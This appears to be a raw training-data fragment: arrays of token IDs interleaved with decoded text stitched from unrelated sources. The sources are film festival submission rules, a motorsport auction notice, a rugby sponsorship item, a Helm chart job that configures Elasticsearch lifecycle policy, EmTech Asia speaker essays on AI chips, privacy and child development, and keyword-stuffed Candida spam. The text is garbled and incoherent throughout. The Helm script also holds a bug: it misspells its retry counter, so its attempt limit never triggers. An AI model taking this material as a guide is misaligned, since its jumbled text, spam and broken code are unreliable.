94, 187, 50268, 94, 187, 50268, 8581, 64, 3211, 44241, 2413, 13357, 64, 24670, 16, 15356, 32, 6394, 964, 15888, 15, 25563, 8716, 15, 24670, 19895, 9063, 18246, 12377, 2807, 187, 50268, 38839, 84, 30, 17, 535, 50268, 6050, 544, 370, 8581, 64, 3211, 428, 570, 346, 1518, 3, 25896, 513, 187, 50266, 8581, 64, 3211, 44241, 2413, 13357, 64, 24670, 16, 15356, 32, 6394, 964, 15888, 15, 25563, 8716, 15, 24670, 19895, 9063, 18246, 12377, 2807, 187, 50266, 1595, 358, 793, 18340, 4464, 38839, 84, 559, 337, 1228, 187, 50266, 338, 544, 370, 38839, 84, 428, 463, 346, 1010, 3, 25896, 840, 187, 50264, 64, 3775, 346, 51, 266, 562, 273, 9437, 15, 21591, 26224, 449, 187, 50264, 19874, 15610, 187, 50266, 11125, 187, 50266, 64, 3775, 346, 31455, 310, 417, 4704, 15, 26735, 272, 323, 884, 7253, 3, 187, 50266, 28850, 884, 187, 50268, 17506, 535, 50268, 64, 5374, 346, 31455, 310, 598, 285, 4704, 13, 13756, 281, 14888, 16012, 3, 187, 50268, 8581, 64, 3211, 44241, 31064, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 57, 19220, 12122, 6394, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 29987, 300, 78, 16, 8581, 3, 428, 41, 686, 8590, 14, 2548, 27, 2898, 16, 8456, 3401, 187, 50268, 338, 544, 370, 8581, 64, 3211, 428, 570, 346, 1518, 3, 25896, 840, 187, 50266, 64, 5374, 346, 3077, 46, 310, 417, 4390, 3515, 3, 187, 50266, 19874, 470, 187, 50268, 11125, 535, 50268, 8581, 64, 3211, 44241, 31064, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 57, 367, 3329, 12122, 6394, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 29987, 300, 78, 16, 22872, 16, 8608, 505, 1883, 64, 22872, 32, 38256, 3, 428, 41, 686, 8590, 14, 2548, 27, 2898, 16, 8456, 8, 428, 69, 8, 187, 50268, 92, 187, 50266, 3, 22872, 1381, 551, 187, 50264, 3, 545, 1169, 1381, 551, 187, 50262, 3, 12022, 1381, 551, 187, 50260, 3, 3518, 1381, 551, 187, 50258, 3, 1811, 1189, 1381, 551, 187, 50256, 3, 4090, 64, 3281, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 4090, 64, 3281, 12377, 995, 187, 50256, 3, 4090, 64, 486, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 4090, 64, 486, 12377, 3, 187, 50258, 94, 187, 50260, 94, 187, 50262, 2023, 187, 50262, 3, 16435, 1381, 551, 187, 50260, 3, 1222, 64, 486, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 1222, 64, 486, 12377, 995, 187, 50260, 3, 3518, 1381, 551, 187, 50258, 3, 16435, 1381, 12166, 187, 50260, 94, 187, 50262, 94, 187, 50264, 94, 187, 50266, 94, 187, 50268, 94, 187, 50268, 3401, 535, 50268, 338, 544, 370, 8581, 64, 3211, 428, 2574, 346, 1518, 3, 25896, 840, 187, 50266, 64, 5374, 346, 3077, 46, 1268, 310, 873, 3, 187, 50266, 19874, 470, 187, 50268, 7271, 187, 50266, 64, 3775, 346, 4756, 4758, 13193, 27230, 34356, 11354, 1268, 3, 187, 50266, 19874, 15610, 187, 50268, 11125, 187, 6394, 14, 990, 428, 599, 187, 16, 21723, 27591, 187, 11, 8283, 313, 36, 10, 4765, 428, 9169, 1594, 300, 27475, 13, 3690, 15, 50276, 3074, 3570, 10827, 15, 187, 11, 35588, 57, 14, 17736, 14, 18483, 27, 20695, 187, 21723, 27591, 16, 187, 187, 16, 38868, 8480, 187, 6930, 187, 11 ]	ensure that they have the right to participate in the Festival with regard to third persons connected to the production of selected films or videos. The Festival rarely pays (and never charges) screening fees and it is assumed that any film submitted without specific reference to a requested screening fee in the cover letter is both available to be screened, with no legal restrictions, and without expectation of a fee being paid. The Festival reserves the right to refuse or cancel the projection of any print deemed of insufficient quality. Press & Publicity If your film or video is selected to screen at the Festival, you will be asked to provide: director's bio and filmography/videography, b&w and/or color stills from the film, press materials, and video trailer (if available). Judging & Awards Individuals from the media will serve as impartial judges of selected films. Separate Jury and Audience Awards will be presented to the best film or video in each category. Shipping The cost of shipping a submission to the Festival must be paid by the entrant. Please do not send submissions in fiber-filled envelopes, as their residue ruins tapes and equipment. To obtain notification of receipt, please include a self-addressed, stamped postcard. Submission tapes will not be returned unless otherwise requested. The Festival will pay for one-way shipping (i.e., return) of prints of selected films and videos. All other shipping charges are the responsibility of the entrant. Reproduction Agreement Unless otherwise requested, film and video submissions selected for screening grant the Sacramento Film and Music Festival the rights to use moving image excerpts, production stills, and information from the film or video for promotional purposes. Liability Every precaution will be exercised in handling tapes and films. However, should a print be lost or damaged, the Festival will accept responsibility for the period of time that the print is in the possession of the Sacramento Film and Music Festival, and will reimburse the value of the video or film (or part thereof) only. Do not send original prints or tapes. Acceptance of Rules Participation in the Festival implies acceptance of all Festival rules and regulations.community, A major collection of Formula One motorsport memorabilia including a 1989 Ferrari 328 GTS with an estimated value of $200,000 will be auctioned at Hurstville this month. It is described by one expert as the largest single collection of Formula One Ferrari original memorabilia to come onto the local market in more than 30 years. The collection of the late Enzo Quarta includes models, shirts, helmets, pins, books, race suits, jackets, t-shirts, flags and more. Enzo was a regular customer at the Motorsport Shop, South Hurstville for over 25 years amassing a large collection of motorsport memorabilia. He passed away last October after a long illness at the age of 70. His wife Olga is moving into smaller accommodation and needs sell Enzo's collection. The auction is being handled by Motorsport Shop chief executive Patrick Wedes who described it as a one-in-a-lifetime opportunity for Formula One motorsport fans. "I've never seen such a collection so vast in my 32 years of doing motorsport memorabilia," Patrick said. "Enzo was a major Ferrari fan, so you can imagine what he collected," Patrick said. "He was a Ferrari lover by heart and soul. "There are 180 lots no reserve. Of these, there are 20 lots with a very low price estimate. "There will be plenty of bargains." The Enzo Quarta Memorial Auction will be held at The Pinnacle South Hurstville, Sunday, April 14 from 11am. Viewing will be at The Pinnacle on Saturday, April 13 from 11am to 4pm. The lots are all listed with photos here https://nnimgt-a.akamaihd.net/transform/v1/crop/frm/3U96Ckn8G8R9iyYbnQvJY3/e0e6e46f-094b-4e94-9293-1acdcb006bec.JPG/r0_207_3264_2051_w1200_h678_fmax.jpgRandwick Rugby Club are pleased to announce Rohrig Group as the Club’s official Off-season player development and leadership partner for season 2017.The agreement will see Rohrig Group, along with the coaching staff assist in delivering our off-season training, physical development and leadership programs, with particular emphasis on career education and job placements for Randwick players.{{- if.Values.elasticsearch.retention -}} apiVersion: batch/v1 kind: Job metadata: name: {{ template "elastic.name". }}-ilm-setter namespace: {{.Values.global.namespace }} labels: {{- include "commonLabels". \| nindent 4 }} spec: backoffLimit: 0 parallelism: 1 ttlSecondsAfterFinished: 60 template: metadata: name: {{ template "elastic.name". }}-ilm-setter labels: {{- include "commonLabels". \| nindent 8 }} spec: restartPolicy: Never containers: - name: {{ template "elastic.name". }}-ilm-setter-pod image: appropriate/curl:3.1 imagePullPolicy: "IfNotPresent" envFrom: - configMapRef: name: {{ include "elastic.configMapName". }} resources: limits: cpu: "40m" memory: "32Mi" command: - sh - -c - \|- #!/bin/sh CHART_NAME="{{ template "elastic.name". }}" LOG_ORIGIN="ilm-level-setter.sh" {{- include "logFunctions". \| nindent 10 }} http () { local path="${1}" if [ -n "${ELASTIC_USERNAME}" ] && [ -n "${ELASTIC_PASSWORD}" ]; then BASIC_AUTH="-u ${ELASTIC_USERNAME}:${ELASTIC_PASSWORD}" else BASIC_AUTH='' fi curl -XGET --write-out %{http_code} -s --output /dev/null -k --fail ${BASIC_AUTH} ${{.Release.Name \| upper }}_ELASTICSEARCH_SERVICE_HOST:9200${path} } status_code=$(http "/_cluster/health?{{.Values.elasticsearch.clusterHealthCheckParams }}") attempts=0 while [ $status_code -ne "200" ]; do status_code=$(http "/_cluster/health?{{.Values.elasticsearch.clusterHealthCheckParams }}") attemps=$((attempts + 1)) if [ $attempts -ge "15" ]; then _error "Ran out of attempts. Job cancelled." exit 127 fi _error "Cluster is not ready. Sleeping for 10 seconds" sleep 10 done _info "Cluster is up and ready, attempting to inject configurations" status_code=$(curl --write-out %{http_code} -s --output /dev/null -X GET "${{.Release.Name \| upper }}_ELASTICSEARCH_SERVICE_HOST:9200/_ilm/status" -H 'Content-Type: application/json') if [ $status_code -ne "200" ]; then _info "ILM is not currently running" exit 0 fi status_code=$(curl --write-out %{http_code} -s --output /dev/null -X PUT "${{.Release.Name \| upper }}_ELASTICSEARCH_SERVICE_HOST:9200/_ilm/policy/datastream_policy?pretty" -H 'Content-Type: application/json' -d' { "policy": { "phases": { "hot": { "actions": { "rollover": { "max_size": "{{.Values.elasticsearch.retention.max_size }}", "max_age": "{{.Values.elasticsearch.retention.max_age }}" } } }, "delete": { "min_age": "{{.Values.elasticsearch.retention.min_age }}", "actions": { "delete": {} } } } } } ') if [ $status_code -eq "200" ]; then _info "ILM level is set" exit 0 else _error "Error setting Index Lifecycle Management level" exit 127 fi {{- end -}} /****************************************************************************** * Copyright (C) 2018 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ****************************************************************************/ /*************************************************************************/ / *
[ 12959, 582, 34047, 5718, 285, 1980, 5162, 591, 894, 13, 342, 48994, 7529, 36282, 1341, 6498, 387, 1698, 1612, 15, 187, 187, 14569, 13, 627, 403, 1335, 1077, 1643, 9341, 23415, 275, 6684, 14980, 14, 3169, 5482, 15, 1310, 597, 971, 281, 3297, 12085, 9341, 878, 281, 1265, 23415, 275, 5657, 285, 42124, 342, 23617, 751, 441, 326, 476, 1361, 731, 1287, 37510, 273, 38298, 313, 49, 3231, 10, 5482, 1754, 327, 616, 32176, 3198, 15, 844, 403, 2444, 281, 25145, 1980, 4413, 281, 5283, 14980, 7938, 285, 3297, 6386, 273, 253, 7324, 15, 187, 187, 1231, 923, 247, 3687, 2770, 323, 14980, 2440, 275, 3988, 13, 7060, 2846, 13, 7060, 5674, 13, 285, 1805, 1495, 323, 697, 7815, 285, 8811, 15, 187, 187, 7710, 15, 25298, 41813, 13, 11731, 273, 22054, 10267, 8942, 20174, 367, 442, 12098, 15, 187, 187, 6560, 1822, 10267, 24357, 39650, 41050, 16666, 11797, 407, 253, 1966, 3998, 13, 7032, 273, 4715, 285, 26182, 6127, 387, 1029, 3885, 285, 1698, 14, 9177, 13, 285, 5909, 747, 2914, 4670, 323, 7060, 13479, 285, 9699, 12672, 4893, 15, 2305, 15, 41813, 556, 689, 3387, 1107, 273, 5213, 2793, 275, 13817, 13, 6224, 13, 9137, 285, 2136, 2440, 275, 11107, 4343, 285, 2439, 17057, 285, 9118, 84, 327, 2201, 2234, 6493, 13, 3640, 4715, 285, 7731, 1399, 695, 281, 1756, 13, 17310, 13, 16270, 747, 2136, 13, 564, 1345, 13, 16263, 21220, 952, 13, 3359, 1980, 14145, 285, 1056, 6036, 50018, 15, 754, 3715, 1534, 1980, 2208, 7688, 13, 1690, 4302, 21916, 13, 2444, 342, 2208, 285, 10003, 281, 1287, 11331, 5659, 13, 5306, 6787, 273, 4302, 285, 9073, 16253, 342, 1818, 4323, 15, 187, 187, 33862, 3756, 285, 24471, 187, 187, 7146, 281, 1735, 14518, 187, 187, 510, 2644, 4473, 273, 11068, 556, 644, 6890, 1077, 3809, 689, 253, 1390, 9976, 15, 11056, 359, 403, 11734, 253, 747, 23657, 672, 253, 11068, 273, 253, 1384, 394, 5331, 310, 642, 3356, 1896, 15, 1198, 17647, 13, 8564, 326, 368, 1978, 512, 634, 3367, 941, 275, 247, 7503, 2802, 5967, 15385, 1198, 247, 1048, 673, 13, 352, 369, 1896, 417, 281, 1339, 3780, 3304, 253, 2419, 13, 1978, 253, 8323, 6294, 13, 285, 3021, 1978, 634, 941, 7985, 760, 281, 368, 15, 187, 187, 4125, 13, 2299, 13, 368, 452, 281, 5467, 326, 629, 273, 253, 2419, 8099, 310, 1160, 273, 5253, 15, 733, 1057, 417, 1599, 512, 634, 941, 476, 320, 2326, 15, 733, 2097, 368, 1364, 871, 534, 3402, 4243, 403, 2779, 281, 320, 13955, 13, 285, 849, 281, 4657, 285, 8722, 634, 941, 275, 436, 2419, 15, 1422, 476, 457, 85, 3693, 5865, 32931, 285, 4730, 667, 625, 15, 187, 187, 18978, 13, 253, 4413, 326, 452, 2289, 281, 776, 941, 11719, 2793, 941, 49748, 15, 13168, 597, 1611, 281, 10507, 253, 28637, 5441, 432, 616, 6383, 326, 3037, 670, 253, 1895, 760, 1199, 1996, 15, 6061, 253, 1390, 3578, 1107, 359, 457, 306, 644, 49379, 18660, 1781, 14, 7527, 941, 49748, 15, 496, 1016, 273, 731, 875, 3578, 3041, 285, 247, 1643, 6494, 8553, 497, 25047, 15, 380, 941, 327, 841, 8553, 369, 1097, 1774, 285, 7996, 13, 12319, 432, 3367, 1491, 313, 70, 15, 72, 904, 8721, 41653, 4240, 13, 21445, 3041, 5861, 10, 285, 6152, 3120, 3904, 313, 70, 15, 72, 904, 308, 43, 57, 5403, 13, 11107, 3041, 6152, 3120, 3904, 10, 281, 8553, 327, 253, 3238, 751, 32967, 25845, 401, 6228, 313, 6961, 13, 35771, 3041, 5861, 10, 390, 43131, 313, 6759, 13, 19092, 3041, 2608, 8553, 7329, 481, 187, 187, 2374, 253, 581, 1133, 13, 941, 49748, 403, 19455, 285, 588, 320, 9369, 281, 690, 6070, 15, 309, 1902, 359, 457, 620, 320, 4854, 670, 4092, 941, 49748, 2223, 275, 253, 2852, 15, 1623, 1755, 273, 352, 13, 1339, 457, 84, 417, 7740, 326, 253, 5020, 273, 941, 49748, 403, 4942, 1355, 285, 403, 417, 6107, 407, 253, 3420, 15, 187, 187, 2374, 253, 643, 1133, 13, 359, 403, 2080, 432, 1907, 2218, 3253, 359, 476, 281, 3657, 253, 49748, 15, 9937, 253, 7248, 2970, 40638, 285, 4413, 2970, 625, 6600, 13, 359, 403, 816, 4983, 15, 7214, 5329, 2558, 273, 253, 4413, 28671, 275, 4022, 6566, 616, 2567, 556, 10599, 5300, 281, 2736, 512, 49748, 13, 285, 760, 5976, 2558, 452, 5762, 616, 7119, 2380, 5827, 15, 2726, 23318, 273, 3367, 6251, 457, 8294, 323, 941, 49748, 8288, 36504, 285, 36504, 13, 436, 588, 2779, 1818, 15, 3010, 5300, 588, 320, 9940, 281, 941, 13770, 12212, 15, 187, 187, 510, 1953, 310, 27, 752, 476, 359, 513, 3063, 281, 15338, 253, 1055, 273, 776, 941, 1146, 7329, 32, 187, 187, 510, 2159, 14, 3945, 3662, 310, 27, 2325, 10182, 285, 4021, 14, 5903, 665, 285, 849, 368, 1509, 253, 941, 15, 844, 878, 281, 1158, 670, 665, 359, 403, 4933, 776, 3367, 941, 281, 285, 2139, 13, 285, 417, 5194, 327, 752, 310, 417, 2590, 281, 441, 15, 844, 878, 281, 1239, 1355, 8266, 15, 844, 878, 281, 6909, 253, 3464, 12632, 342, 776, 941, 846, 253, 9996, 6569, 15, 844, 512, 878, 281, 452, 5927, 3909, 31520, 281, 2096, 253, 5044, 7533, 273, 253, 27030, 13, 9005, 5718, 13, 285, 253, 4802, 4095, 15, 1621, 878, 281, 1333, 359, 1364, 5731, 327, 673, 512, 3694, 359, 897, 15, 187, 187, 510, 1048, 14, 3945, 3662, 310, 670, 253, 747, 22199, 273, 941, 12851, 15, 43950, 3977, 1063, 10296, 17581, 342, 2266, 10105, 3756, 1537, 320, 271, 3662, 281, 253, 5675, 1895, 15, 7659, 290, 1544, 1025, 2718, 476, 320, 7895, 13, 2336, 18397, 13, 285, 1581, 952, 281, 1453, 616, 941, 15, 1707, 476, 320, 642, 4275, 6265, 824, 347, 253, 4400, 2208, 390, 36409, 2136, 26103, 552, 15, 7820, 7815, 476, 2085, 616, 941, 323, 12669, 281, 253, 6110, 4676, 970, 247, 5019, 273, 247, 1929, 1345, 2234, 285, 247, 4561, 3055, 2234, 15, 496, 958, 13, 253, 941, 476, 320, 10141, 533, 387, 253, 1072, 673, 1620, 4817, 281, 667, 3128, 643, 685, 253, 15245, 15, 187, 187, 9034, 15, 4744, 1608, 78, 1657, 87, 469, 187, 187, 20226, 273, 253, 5986, 13, 322, 9334, 5036, 313, 783, 6253, 4302, 2136, 5864, 275, 16861, 582, 285, 253, 309, 1647, 313, 27391, 273, 16861, 14, 38860, 20958, 323, 5489, 285, 10784, 313, 6955, 5757, 10, 32727, 12169, 481, 187, 187, 11, 9034, 15, 1608, 78, 1657, 87, 469, 7560, 387, 4825, 30663, 10497, 4765, 15, 187, 187, 31183, 2277, 1864, 31993, 2637, 4889, 26483, 3519, 9242, 49, 3859, 58, 187, 187, 6603, 3322, 2277, 1372, 6663, 1864, 5642, 24748, 4889, 10197, 38112, 36, 9818, 187, 187, 43184, 48, 6217, 2088, 28605, 4889, 4653, 3252, 1934, 58, 187, 187, 4061, 42, 17740, 4889, 611, 15782, 457, 49367, 16341, 9507, 1410, 187, 187, 34191, 285, 29219, 457, 7813, 50253, 187, 187, 7146, 281, 1735, 14518, 187, 187, 32086, 1037, 13, 5859, 556, 574, 271, 14779, 3486, 327, 2151, 457, 84, 1495, 6973, 13, 432, 12461, 285, 9921, 281, 4730, 285, 18053, 15988, 15, 3824, 1798, 16453, 4736, 310, 281, 1007, 387, 253, 4602, 875, 2151, 457, 84, 9699, 13, 2675, 13, 285, 8991, 2440, 285, 1048, 14, 3945, 6973, 824, 347, 1786, 13, 15704, 13, 6021, 13, 285, 253, 643, 18701, 273, 247, 1175, 1495, 15, 733, 7819, 562, 326, 841, 11419, 14, 28269, 2616, 452, 247, 19143, 1781, 3486, 327, 2151, 457, 84, 1495, 6973, 13, 285, 253, 1943, 1953, 326, 619, 2561, 556, 644, 7106, 327, 310, 27, 2615, 359, 3587, 1361, 4651, 285, 10954, 281, 3157, 841, 9699, 285, 2675, 14, 358, 29882, 18701, 285, 2334, 595, 3157, 841, 1495, 6973, 32, 380, 8249, 6239, 2296, 352, 476, 320, 2218, 15, 844, 7703, 281, 16497, 1110, 4342, 281, 1524, 4852, 15, 187, 187, 2512, 403, 1142, 13, 1142, 16178, 327, 2151, 457, 84, 2440, 285, 1495, 6973, 27, 30222, 13, 4466, 13, 30270, 3708, 13, 12461, 13, 17087, 2554, 14, 2307, 3485, 13, 19429, 6928, 13, 285, 594, 1199, 625, 15, 8256, 273, 841, 16178, 4853, 271, 2862, 1436, 15, 1737, 359, 403, 7106, 327, 275, 776, 789, 403, 1110, 1841, 326, 476, 320, 4391, 13, 2223, 762, 253, 4833, 273, 4651, 13, 6629, 13, 285, 643, 2554, 3210, 15, 187, 187, 510, 2238, 273, 18701, 326, 359, 2561, 275, 2151, 313, 395, 275, 7747, 275, 776, 2561, 327, 26843, 2440, 10, 452, 1900, 574, 1781, 16274, 327, 1495, 6973, 15, 22460, 13, 2167, 13, 841, 18701, 6468, 457, 85, 644, 3477, 281, 2557, 390, 281, 1818, 2439, 247, 3862, 3072, 273, 952, 15, 3808, 273, 441, 403, 1077, 27949, 281, 1756, 598, 275, 18294, 342, 253, 30270, 12153, 281, 1361, 1287, 841, 18701, 13, 533, 10159, 273, 835, 359, 2210, 432, 275, 1495, 13, 841, 9699, 285, 2675, 14, 358, 29882, 2616, 452, 1900, 644, 14282, 15, 496, 1110, 2219, 835, 359, 574, 253, 3745, 281, 32014, 387, 271, 2060, 1429, 1268, 13, 359, 476, 923, 253, 3486, 327, 616, 1048, 14, 3945, 15988, 15, 380, 760, 2181, 326, 5859, 285, 4302, 556, 4136, 441, 281, 513, 3063, 310, 281, 3986, 625, 2151, 15, 187, 187, 688, 253, 13375, 4632, 15, 427, 4405, 459, 8881, 13, 309, 1462, 275, 253, 1072, 1659, 347, 667, 643, 25815, 20687, 15, 844, 403, 1016, 247, 36396, 285, 1683, 917, 5878, 273, 3753, 285, 33242, 459, 15, 3824, 3608, 403, 4518, 1534, 4295, 273, 665, 359, 403, 13, 533, 627, 403, 671, 5319, 326, 403, 4817, 281, 441, 407, 776, 4651, 1014, 10938, 323, 6380, 3910, 15, 19810, 403, 4817, 281, 441, 407, 776, 3858, 285, 776, 15833, 13, 285, 690, 407, 776, 6629, 285, 776, 1495, 10165, 15, 733, 556, 1620, 644, 13, 285, 1620, 588, 320, 347, 2969, 347, 3753, 4632, 15, 33242, 459, 15, 187, 187, 9034, 15, 31802, 26983, 46095, 13, 330, 1171, 10117, 285, 47651, 46411, 273, 14162, 375, 187, 187, 9034, 15, 46095, 310, 247, 10527, 6551, 30202, 382, 13, 1732, 10364, 13, 285, 23721, 3692, 26766, 7517, 310, 281, 22950, 1966, 2442, 13, 432, 8512, 281, 35130, 10787, 281, 2644, 27931, 15, 1500, 556, 820, 14, 41607, 2067, 4413, 15, 380, 954, 3332, 13, 14162, 375, 13, 24772, 5145, 4715, 285, 9699, 6551, 21559, 281, 3157, 2151, 434, 1495, 6973, 15, 3196, 15, 46095, 310, 253, 15526, 273, 11075, 5677, 285, 271, 31149, 285, 4450, 3558, 273, 2067, 643, 4413, 285, 1327, 856, 26017, 1690, 44393, 10228, 17572, 13, 42247, 40, 304, 13, 546, 40945, 13, 4825, 6002, 571, 13, 19778, 659, 2487, 13, 285, 2207, 8636, 15, 36145, 703, 369, 247, 13975, 26902, 387, 23455, 24538, 434, 4410, 5308, 5197, 323, 48322, 22054, 21559, 835, 703, 23321, 2561, 275, 6551, 856, 296, 30832, 15, 1500, 29905, 2706, 13, 12013, 13, 285, 16544, 18171, 327, 3374, 273, 14980, 13, 253, 2852, 273, 789, 13, 9991, 13, 1786, 4302, 13, 15832, 13, 285, 4730, 15, 3726, 3997, 253, 1175, 9574, 15, 37648, 30011, 4355, 23845, 310, 247, 11088, 1332, 326, 6131, 952, 1728, 24371, 323, 15727, 5066, 15, 496, 4748, 4155, 280, 30011, 4355, 10903, 285, 665, 369, 281, 871, 32, 7659, 27928, 390, 34226, 763, 253, 1755, 342, 6906, 24108, 36098, 17742, 390, 21635, 14445, 313, 21676, 481, 18084, 4927, 1290, 20283, 31801, 571, 250, 1705, 31801, 571, 298, 457, 360, 410, 1073, 5940, 1053, 2072, 275, 28000, 336, 863, 37036, 15, 831, 310, 253, 2602, 4408, 3304, 690, 14910, 15, 187, 187, 2042, 368, 452, 2289, 281, 436, 3929, 949, 634, 8848, 368, 476, 1859, 436, 3929, 275, 329, 7142, 39785, 8947, 7361, 81, 19070, 28, 11090, 1791, 1079, 7361, 81, 19070, 28, 9767, 301, 1934, 42, 826, 308, 5738, 9469, 70, 1073, 1149, 4355, 28, 416, 9570, 339, 15, 2615, 1821, 11089, 432, 3940, 4355, 273, 253, 1921, 2139, 594, 1142, 627, 310, 642, 1652, 12575, 326, 476, 16498, 15727, 3510, 30734, 46761, 3940, 4355, 12489, 466, 295, 9207, 5009, 30011, 4355, 9362, 5566, 40393, 7567, 29833, 36108, 15727, 5066, 285, 7946, 7764, 2451, 436, 3817, 390, 5224, 634, 9612, 604, 368, 452, 642, 17660, 281, 1056, 281, 253, 19415, 1873, 273, 378, 1311, 18, 3320, 275, 253, 30011, 4355, 1061, 1825, 300, 2433, 2570, 374, 330, 382, 614, 299, 3940, 4355, 362, 11816, 900, 2298, 603, 964, 187, 187, 36, 4011, 12840, 14709, 3798, 7353, 2348, 281, 4796, 697, 3626, 5460, 368, 476, 755, 247, 1618, 1060, 15 ]	memories), merging storage and local processing per cell, with massively parallel interconnected cells operating at low power. Today, there are still very few businesses investing in developing AI-based solutions. If they want to stay competitive businesses need to start investing in tools and collaborate with organisations like us that can help them develop Proof of Concept (POC) solutions based on their customized needs. We are working to empower local companies to adopt AI faster and stay ahead of the competition. We see a greater focus for AI development in security, smart city, smart nation, and better life for its citizens and residents. Mr. Pierre Brunswick, CEO of NeuroMem® Technologies Pte Ltd. NeuroMem develops neuromorphic chips inspired by the human brain, capable of learning and recognizing patterns at high speed and low-power, and opening new frontiers for smart sensors and cognitive computing applications. Mr. Brunswick has over 40 years of international experience in tech, sales, marketing and business development in 94 countries and across industries and verticals on major key projects, knowledge learning and customer centric to grow, merge, acquire new business, go public, hire talented people, implement local offices and make joint ventures. He developed significant local government relationships, including technology transfers, working with government and institutions to develop educational programs, certifications of technology and helping adoption with change management. Cryptography and Privacy Click to next slide The whole concept of privacy has been changing very fast over the last decade. Today we are entering the new epoch when the privacy of the 20th century is no longer possible. For simplicity, imagine that you keep all your personal data in a virtual ‘house’. For a long time, it was possible not to let anyone inside the house, keep the windows shut, and thus keep your data visible only to you. Now, however, you have to assume that part of the house walls is made of glass. It does not mean all your data can be seen. It means you must know which wall parts are likely to be transparent, and how to store and manage your data in this house. You can’t avoid digital hygiene and education any more. Meanwhile, the companies that have access to our data regularly experience data breaches. Sometimes they try to hide the unpleasant facts from their customers that learn about the problem only much later. Over the last ten years we’ve been witnessing dozens large-scale data breaches. In each of them between ten million and a few billion accounts were compromised. The data on these accounts was both important and sensitive, ranging from personal information (e.g., Equifax 2017, 143 million records) and credit card numbers (e.g., TJX 2006, 94 million credit card numbers) to accounts on the services like Adult Friend Finder (2016, 412 million records) or eBay (2014, 145 million user accounts exposed). On the one hand, data breaches are inevitable and will be happening to some extent. I expect we’ll be hearing about serious data breaches often in the future. On top of it, let’s not forget that the majority of data breaches are relatively small and are not covered by the media. On the other hand, we are far from having done everything we can to prevent the breaches. Despite the regulation getting tighter and companies getting more aware, we are just starting. Only 45 percent of the companies surveyed in 2016 believed their company has adequate resources to detect all breaches, and only 42 percent have tested their incident response plans. With advocates of personal officers’ responsibility for data breaches speaking louder and louder, this will likely change. More resources will be dedicated to data breach prevention. The question is: what can we do today to minimize the effect of our data being exposed? The short-term answer is: Be careful and double-check who and how you pass the data. We need to think about who we are giving our personal data to and why, and not agree on what is not clear to us. We need to read small font. We need to destroy the remainders with our data after the transaction happens. We all need to have minimum online literacy to understand the basic settings of the browsers, cloud storage, and the connected devices. No need to say we must update on time all software we use. The long-term answer is about the new paradigm of data ownership. Distributed ledger technologies couples with strong cryptography might be an answer to the growing problem. Decentralized systems can be secure, verifiable, and allow people to control their data. There can be no central authority such as the federal government or centralized business intermediary. Instead citizens can provide their data for checking to the interested parties using a combination of a known public key and a generated private key. In fact, the data can be checked but at the same time never passed to any party other than the citizen. Dr. Mark Shmulevich Member of the Board, SGTech (the largest technology business association in Singapore), and the ICT (branch of Singapore-MIT Alliance for Research and Technology (SMART) Innovation Centre). *Dr. Shmulevich spoke at EmTech Asia 2018. GENOMIC TESTING AND FOOD SUPPLY NEUROMORPHIC CHIPS AND HEALTHCARE CRYPTOGRAPHY AND PRIVACY SCIENCE AND KIDS’ LIFE OUTCOMES Science and Kids’ Life Outcomes Click to next slide Historically, science has had an enormous impact on children’s life outcomes, from nutrition and medicine to education and productivity gains. Our particular modest goal is to look at the connection between children’s cognitive, social, and emotional development and long-term outcomes such as health, happiness, income, and the other qualities of a good life. It turns out that these meta-learning factors have a surprisingly large impact on children’s life outcomes, and the big question that my research has been focused on is: Can we directly help parents and teachers to improve these cognitive and social-emotional qualities and causally improve these life outcomes? The scientific literature says it can be done. We seek to translate those findings to real lives. There are many, many influences on children’s development and life outcomes: genetics, culture, socioeconomic status, nutrition, parental role-modelling, friendship networks, and so much more. None of these influences define an entire person. What we are focused on in our work are those things that can be changed, often under the influence of parents, schools, and other role models. The kind of qualities that we research in children (and in adults in our research on workforce development) have always had large impacts on life outcomes. Typically, though, these qualities haven’t been easy to measure or to change across a broad population of people. Some of us are very fortunate to grow up in households with the socioeconomic foundation to help develop these qualities, but regardless of where we came from in life, these cognitive and social-emotional factors have always been meaningful. In those cases where we had the ability to intervene at an individual child level, we can see the impact on their long-term gains. The only thing that science and technology has allowed us to do today is to reach more children. In the Nature vs. Nurture debate, I stand in the same place as any other practicing scientist. We are each a messy and changible mix of nature and nurture. Our genes are clearly significant components of who we are, but there are also characteristics that are passed to us by our parents even controlling for genetic differences. Others are passed to us by our friends and our neighbors, and some by our schools and our life choices. It has never been, and never will be as simple as nature vs. nurture. Dr. Vivienne Ming, Cofounder and Managing Partner of Socos Dr. Ming is a theoretical neuroscientist, technologist, and entrepreneur whose guiding mission is to maximize human potential, from neurons to toddlers to whole economies. She has co-founded several companies. The most recent, Socos, combines machine learning and cognitive neuroscience to improve children's life outcomes. Dr. Ming is the Chair of StartOut and an advisor and board member of several other companies and nonprofits including Cornerstone Capital, ShiftGig, enGender, Emozia, Smart Stones, and Orzo. Previously she was a visiting scholar at UC Berkeley's Redwood Center for Theoretical Neuroscience where she pursued research in neuroprosthetics. She researches, writes, and speaks extensively on issues of AI, the future of work, diversity, health technology, innovation, and education.They feed the good bacteria. Ultimate Candida Diet is a comprehensive method that offers people home remedies for yeast infection. In 2009 Systemic Candida struck and who was to know? Decorate or garnish the top with thin tomato crescents or onion rings (optional). Cos si possono cambiare come cambia l’umore di una donna in dolce attesa. This is the soft tissue inside some bones. If you have access to this article through your institution you can view this article in ACI Mantova risponde; Il legale risponde; AffidACI la Tua patente di guida; Risorse. Can men suffer from candida of the reason why so many there is no little pill that can cure yeast types fermentation albicans candida therapie nystatin Candida Die Off Acid Reflux recurring yeast infection and oral Please check this box or indicate your approval if you have no corrections to make to the PDF file of BCR1 gene in the Candida parapsilosis complex 2 Cistite e candida voglio morire. Cranberry juice usually sweetened to reduce its natural severe you can 